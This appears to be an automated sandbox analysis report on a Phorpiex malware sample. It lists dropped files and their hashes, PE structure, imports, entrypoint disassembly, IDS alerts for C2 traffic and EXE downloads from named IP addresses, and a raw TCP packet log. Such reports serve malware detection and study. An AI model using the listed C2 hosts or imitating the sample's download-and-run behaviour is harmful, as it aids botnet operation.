Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pbs1l3jm.nlg.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\tbtcmds.dat

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	7.369827619940847
Encrypted:	false
SSDEEP:	6:JI+cPhYsQuLyuCFmYRhegKv12u5JRn2BtmlFnI0QBIzxN0wi4HvvL:GvhouGFredJcBsjDqIdN0wiQvT
MD5:	3DEA10446B12B8B16638C64ADEE9CF7D
SHA1:	79E5EBA41FFD6D6D0C633E9851FF2BC8B6FCAEA7
SHA-256:	E178E70155316BFFABAD28DB3DAF9F60A878243C5F3B8A59E37ADC7664F1A669
SHA-512:	5247BEFA86704AEEB1ED782F025BD9B474E14F6A83E0E2B6DD4DC8800C23788FE2CA770AEBF8F4C0C0B5BE81311A0ABF9385F182FB7D0379094FCDD565B7C56D
Malicious:	false
Preview:	y..6+....S.i...:g..(.J-j..x(..Kec..p....$...:'......u....Y.....pt."..?....2.A.xa.\|.Jor....W....Itk..S.R.>.DWE5..c...".3.FC.!o7\......Sl.k........'..l..F.M.......B..b..-..r.....[R..F. z".K..F.8x........l; ....]....Z.. !D.X.L.Y.t..#..k..y.R^o..ve.mOnsU...~o..J..mhd..

C:\Users\user\tbtnds.dat

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	data
Category:	dropped
Size (bytes):	4096
Entropy (8bit):	4.857793737646147
Encrypted:	false
SSDEEP:	96:2gqanIbioTgWZbe7N8vNhsCaQ7u+UJP20vOyngHj6/Twc:2gqBbiyLZbe7NkNhsl+UQfkc6/TV
MD5:	3DA419EFB5200FD83F4E8AD73B944854
SHA1:	7524988CDCAA95D900066FC16634286E7B62A5D0
SHA-256:	08F2912869279FC4AA37994EE4E3366ECA333B2E20CB1EB48D5FA9DF0157E0AF
SHA-512:	D179C81A8C69D7553098C59A092CFAA4ED758256B99078F3CC14A72F46BFADF2C52645DB6B7DCD772091BFF336071902B3A7D434068BCA211E9DAE2EB6983F4A
Malicious:	false
Preview:	..rYs.PT....s.PT]vc.p.PT....o.PTY+.o.PT....n.PTZ..=m.PT..4.k.PT..[.k.PT...h.PTf...g.PT..\|.e.PT.k..d.PT...od.PT.C/.d.PT....d.PT....d.PT..[W.....G.(......[o...._:.....N.G.....Z......%.}B....M_./.....................c.g....U.s.....mJE+....^.D....._8L....._;.f...................[.>..................M.........-X.............E.....Z..............%.............Z...............W..V.....K!*....m.o...._9......Q_._......'(......Pi....V>.........R....^.........l\......0.....%..V....].V......?.......................C.....Z.......Z..B....)e.a.....R.......c......N'.y............Z..7....u.....^..K....U.m.......%......2.......m.....^..........<..................].S.....\.V......x.u....Z..>....\...............................M%....%.q.....%..6......~'.....D.....Z..j....Z..{.....XQ......X......U.h......K_r......<e............#H......]5.......cw....\/.....m.7.....Z..........?....-.\|q....[.\.....Z..H..............;.............6........I.............N'.........a.......I....Y.>^....

C:\Windows\sysppvrdnvs.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\33080.scr
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	85504
Entropy (8bit):	6.394560338648692
Encrypted:	false
SSDEEP:	1536:27zFjdFmav82WoPRgMRmtMJXlXXwfAbQaQG9MF7vRjoJrl:yRyO+oPKjoBAIcZF7vqrl
MD5:	06560B5E92D704395BC6DAE58BC7E794
SHA1:	FBD3E4AE28620197D1F02BFC24ADAF4DDACD2372
SHA-256:	9EAAADF3857E4A3E83F4F78D96AB185213B6528C8E470807F9D16035DAADF33D
SHA-512:	B55B49FC1BD526C47D88FCF8A20FCAED900BFB291F2E3E1186EC196A87127ED24DF71385AE04FEDCC802C362C4EBF38EDFC182013FEBF4496DDEB66CE5195EE3
Malicious:	true
Yara Hits:	Rule: JoeSecurity_Phorpiex_4, Description: Yara detected Phorpiex, Source: C:\Windows\sysppvrdnvs.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 82%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m.pj)..9)..9)..9 ..9...9Q..8+..9..C9+..9..A9(..9...9+..9..s9-..9)..9...9..e9<..9 ..9-..9 ..95..9 ..9(..9Rich)..9........................PE..L......g.....................p......@y............@..........................p..............................................\|0.......................................................................................................................text............................... ..`.rdata...?.......@..................@..@.data........@.......2..............@...................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.33877409925911
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Bjl3geiFEK.exe
File size:	10'240 bytes
MD5:	ed9fbbbe548c41479cb70e4d694793d0
SHA1:	a0bde162d2241ab2acb58544511a41df30a096a7
SHA256:	6fc8b5b8a90cf8ba7e0eb930fcdde776f8eeb3f37913318df7766a365e13fa8e
SHA512:	49652367fec13a1e7a188fd039bf8a9fae6be72fdc31e7597bbcfdf30375277f6a7e09b74bd5a2adf1696cf720998c751b7e1671afa3a59c4dfa7069bca543fb
SSDEEP:	192:Jd94uPG8E1CDSnzmgp+eMwY46BJxT43thW:394u5SCDSnJo+c83
TLSH:	0C222A1EDD4B50A1F3AE0AF087B285DD47FC95031395A0F7FFA298A44F66382B0D2069
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........fW...9...9...9...B...9.......9...8...9.......9.......9.......9.......9.Rich..9.................PE..L...P[.g...................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x401997
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE
Time Stamp:	0x671F5B50 [Mon Oct 28 09:37:20 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	0
File Version Major:	5
File Version Minor:	0
Subsystem Version Major:	5
Subsystem Version Minor:	0
Import Hash:	74ac793950a4fcbef2c9afe64363e7af

Entrypoint Preview

Instruction
call 00007FDD04DF4C81h
jmp 00007FDD04DF463Bh
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword ptr [ebp+08h]
mov eax, dword ptr [eax]
cmp dword ptr [eax], E06D7363h
jne 00007FDD04DF492Ch
cmp dword ptr [eax+10h], 03h
jne 00007FDD04DF4926h
mov eax, dword ptr [eax+14h]
cmp eax, 19930520h
je 00007FDD04DF4917h
cmp eax, 19930521h
je 00007FDD04DF4910h
cmp eax, 19930522h
je 00007FDD04DF4909h
cmp eax, 01994000h
jne 00007FDD04DF4907h
call 00007FDD04DF4CD6h
xor eax, eax
pop ebp
retn 0004h
push 004019A1h
call dword ptr [0040201Ch]
xor eax, eax
ret
int3
jmp dword ptr [004020B4h]
push 00000014h
push 00402340h
call 00007FDD04DF4B6Dh
push dword ptr [00403384h]
mov esi, dword ptr [00402064h]
call esi
pop ecx
mov dword ptr [ebp-1Ch], eax
cmp eax, FFFFFFFFh
jne 00007FDD04DF490Eh
push dword ptr [ebp+08h]
call dword ptr [004020C0h]
pop ecx
jmp 00007FDD04DF4969h
push 00000008h
call 00007FDD04DF4C97h
pop ecx
and dword ptr [ebp-04h], 00000000h
push dword ptr [00403384h]
call esi
mov dword ptr [ebp-1Ch], eax
push dword ptr [00403380h]
call esi
pop ecx
pop ecx
mov dword ptr [ebp-20h], eax
lea eax, dword ptr [ebp-20h]
push eax
lea eax, dword ptr [ebp-1Ch]
push eax
push dword ptr [ebp+08h]
mov esi, dword ptr [00402078h]
call esi

Rich Headers

Programming Language:

[IMP] VS2005 build 50727
[IMP] VS2008 SP1 build 30729
[ASM] VS2008 SP1 build 30729
[ C ] VS2008 SP1 build 30729
[C++] VS2008 SP1 build 30729
[LNK] VS2008 SP1 build 30729

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x237c	0x50	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x2b0	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5000	0x1c8	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x22b8	0x40	.rdata
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0xd8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0xef4	0x1000	730fd9b74105a97bf43e80cbec48918b	False	0.600830078125	data	5.964755034376729	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x2000	0x814	0xa00	112e404fd7f80bae78b2c35dab689980	False	0.424609375	data	4.4687440334696635	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x3000	0x38c	0x200	202a0f14ba4a024e6a35d5895669b769	False	0.060546875	data	0.35275948821577235	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x4000	0x2b0	0x400	554d0cedd69e96ee00c8324ce4da604c	False	0.3623046875	data	5.194459669718395	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x5000	0x220	0x400	8cbd97ec4739a9330e237d2237460805	False	0.4501953125	data	3.723355327874369	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x4058	0x256	ASCII text, with CRLF line terminators	English	United States	0.5100334448160535

Imports

DLL	Import
MSVCR90.dll	?terminate@@YAXXZ, _unlock, __dllonexit, _lock, __set_app_type, _decode_pointer, _except_handler4_common, _invoke_watson, _controlfp_s, _crt_debugger_hook, _encode_pointer, __p__fmode, __p__commode, _adjust_fdiv, __setusermatherr, _configthreadlocale, _initterm_e, _initterm, _acmdln, exit, _ismbblead, _XcptFilter, _exit, _cexit, __getmainargs, _amsg_exit, srand, mbstowcs, _onexit, rand
KERNEL32.dll	UnhandledExceptionFilter, GetCurrentProcess, TerminateProcess, GetSystemTimeAsFileTime, GetCurrentProcessId, GetCurrentThreadId, QueryPerformanceCounter, SetUnhandledExceptionFilter, GetStartupInfoA, InterlockedCompareExchange, InterlockedExchange, Sleep, DeleteFileW, MoveFileW, LoadLibraryA, GetProcAddress, GetTickCount, FreeLibrary, IsDebuggerPresent
USER32.dll	FindWindowA, wsprintfW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T11:11:11.839337+0100	2837677	ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)	1	185.215.113.66	80	192.168.2.4	49731	TCP
2024-10-28T11:11:12.755493+0100	2022050	ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1	1	185.215.113.66	80	192.168.2.4	49730	TCP
2024-10-28T11:11:13.063265+0100	2022051	ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2	1	185.215.113.66	80	192.168.2.4	49730	TCP
2024-10-28T11:11:21.513089+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49731	185.215.113.66	80	TCP
2024-10-28T11:11:21.513089+0100	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49731	185.215.113.66	80	TCP
2024-10-28T11:11:23.515407+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49734	185.215.113.66	80	TCP
2024-10-28T11:11:23.515407+0100	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	49734	185.215.113.66	80	TCP
2024-10-28T11:11:23.546010+0100	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	50345	5.239.153.192	40500	UDP
2024-10-28T11:11:23.823677+0100	2837677	ETPRO MALWARE Phorpiex RC4 Encrypted Payload Inbound via HTTP (512 signature)	1	185.215.113.66	80	192.168.2.4	49734	TCP
2024-10-28T11:11:26.495491+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	49740	91.202.233.141	80	TCP
2024-10-28T11:11:28.559672+0100	2044077	ET MALWARE Win32/Phorpiex UDP Peer-to-Peer CnC	1	192.168.2.4	50345	5.75.95.114	40500	UDP
2024-10-28T11:11:29.339713+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	57562	185.215.113.66	80	TCP
2024-10-28T11:11:29.339713+0100	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	57562	185.215.113.66	80	TCP
2024-10-28T11:11:31.283957+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.4	57563	185.215.113.66	80	TCP
2024-10-28T11:11:31.283957+0100	2848295	ETPRO MALWARE Win32/Phorpiex.V CnC Activity M3	1	192.168.2.4	57563	185.215.113.66	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 11:11:11.839337111 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:11.845125914 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:11.845236063 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:11.845627069 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:11.851102114 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.754463911 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.754487038 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.754501104 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.754512072 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.754523993 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.754535913 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.754548073 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.754560947 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.754559994 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.754575968 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.754601002 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.754637003 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.755492926 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.755538940 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.759903908 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.759974957 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.760143995 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.760155916 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.760195971 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.760216951 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.908929110 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.909109116 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.909112930 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.909125090 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.909137011 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.909174919 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.909199953 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.914392948 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.914397955 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.914402962 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.914407969 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.914446115 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.914473057 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.919675112 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.919687986 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.919698954 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.919712067 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.919723988 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.919728041 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.919780016 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.924921989 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.924932957 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.924937963 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.924943924 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.925019026 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.930206060 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.930217028 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.930222034 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.930227041 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.930375099 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:12.935571909 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.935589075 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:12.935646057 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.062932014 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.062946081 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.062952995 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.063096046 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.063265085 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.063277006 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.063287020 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.063309908 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.063333035 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.063499928 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.063515902 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.063529015 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.063539982 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.063544989 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.063550949 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.063566923 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.063592911 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.064307928 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.064332962 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.064347029 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.064359903 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.064369917 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.064399004 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.064898014 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.064909935 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.064922094 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.064945936 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.064969063 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.064996958 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.065009117 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.065037012 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.065054893 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.065808058 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.065819979 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.065829039 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.065856934 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.065857887 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.065870047 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.065886974 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.065912962 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.066576958 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.066622019 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.066627026 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.066637993 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.066664934 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.066673040 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.066679001 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.066685915 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.066709042 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.066726923 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.067468882 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.067481041 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.067496061 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.067513943 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.067522049 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.067534924 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.067543983 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.067567110 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.068380117 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.068391085 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.068401098 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.068422079 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.068423033 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.068437099 CET	80	49730	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:13.068444014 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.068466902 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.068481922 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:13.330130100 CET	49730	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:20.598890066 CET	49731	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:20.604953051 CET	80	49731	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:20.605799913 CET	49731	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:20.606060028 CET	49731	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:20.611977100 CET	80	49731	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:21.512868881 CET	80	49731	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:21.512989998 CET	80	49731	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:21.513026953 CET	80	49731	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:21.513062000 CET	80	49731	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:21.513088942 CET	49731	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:21.513096094 CET	80	49731	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:21.513134003 CET	80	49731	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:21.513163090 CET	49731	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:21.513163090 CET	49731	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:21.513168097 CET	80	49731	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:21.513197899 CET	49731	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:21.513204098 CET	80	49731	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:21.513221979 CET	49731	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:21.513237953 CET	80	49731	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:21.513276100 CET	80	49731	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:21.513312101 CET	49731	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:21.513335943 CET	49731	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:21.518661022 CET	80	49731	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:21.518696070 CET	80	49731	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:21.518762112 CET	49731	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:21.593621016 CET	49731	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:21.593739033 CET	49731	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:22.605431080 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:22.611645937 CET	80	49734	185.215.113.66	192.168.2.4
Oct 28, 2024 11:11:22.611841917 CET	49734	80	192.168.2.4	185.215.113.66
Oct 28, 2024 11:11:22.612062931 CET	49734	80	192.168.2.4	185.215.113.66
